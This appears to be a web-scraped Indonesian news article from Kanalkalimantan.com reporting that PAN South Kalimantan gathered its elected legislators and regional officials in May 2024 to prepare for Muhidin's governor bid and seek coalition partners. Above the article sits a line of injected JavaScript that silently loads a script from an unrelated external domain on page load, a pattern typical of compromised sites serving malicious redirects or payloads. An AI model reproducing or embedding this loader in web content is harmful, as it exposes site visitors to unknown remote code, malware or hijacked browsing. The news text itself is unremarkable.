(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kumpulkan Caleg Terpilih dan Pengurus DPD, PAN Kalsel ‘Panaskan Mesin’ Hadapi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – Pasca pelaksanaan Pemilu 2024, Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan Selatan menggelar konsolidasi dan bimtek calon anggota legislatif terpilih Pemilu 2024 di salah satu hotel Kota Banjarmasin, Kamis (23/5/2024) siang.

PAN Kalsel mengumpulkan seluruh caleg Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten/Kota terpilih dan caleg DPRD Provinsi Kalsel terpilih.

Konsolidasi internal PAN Kalsel itu juga dihadiri seluruh ketua umum dan sekretaris umum Dewan Pimpinan Daerah (DPD) PAN 13 Kabupaten/Kota, serta jajaran pengurus DPW PAN Kalsel.

Ketua Umum DPW PAN Kalsel, H Muhidin mengatakan, selain untuk pembekalan caleg terpilih, kegiatan konsolidasi dan bimtek DPW PAN untuk menghadapi kontestasi Pemilihan Gubernur dan Wakil Gubernur (Pilgub) Kalsel 2024.

Dalam konsilidasi kata Muhidin, pengurus DPD PAN se Kalsel diberikan arahan, termasuk menguatkan tim internal PAN untuk menghadapi Pilgub Kalsel, dimana dirinya selaku pimpinan partai akan maju sebagai calon gubernur.

“Kita akan membentuk tim yang kuat, tim PAN sebenarnya sudah kuat tapi kita kuatkan lagi,” kata Muhidin di sela kegiatan konsolidasi dan bimtek, Kamis (23/5/2024) siang.

Selanjutnya kata H Muhidin, setelah tim internal PAN kuat, konsolidasi akan dilanjutkan bersama partai politik koalisi setelah nanti terbentuk.

Diketahui, Wakil Gubernur Kalsel ini pada beberapa kesempatan telah memastikan diri maju sebagai bakal calon Gubernur Kalsel pada Pilkada 2024.

Mantan Wali Kota Banjarmasin ini digadang-gadang akan berpasangan dengan Hasnuryadi Sulaiman. Pamplet keduanya sudah menyebar dan baliho yang berisi foto keduanya kini sudah terpampang di salah satu sudut Kota Banjarmasin. Dalam pamflet dan baliho itu, Muhidin dan Hasnur memakai baju berwarna putih.

Sekadar diketahui ambang batas pencalonan Cagub dan Cawagub Kalsel harus memenuhi ambang batas 20% atau 11 kursi DPRD Kalsel hasil Pemilu 2024. Sementara PAN Kalsel pada Pemilu 2024 lalu hanya memperoleh 6 kursi DPRD Kalsel.

Dengan hanya mengantongi 6 kursi, PAN Kalsel masih harus menggandeng partai politik lain untuk berkoalisi mengusung pasangan Cagub dan Cawagub Kalsel di Pilkada 2024.

Muhidin sudah mencoba melamar beberapa parpol, beberapa waktu lalu melalui timnya ia sudah menyerahkan berkas pendaftaran bakal calon gubernur Kalsel ke beberapa parpol seperti PKS, Gerindra, PKB, dan Nasdem. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie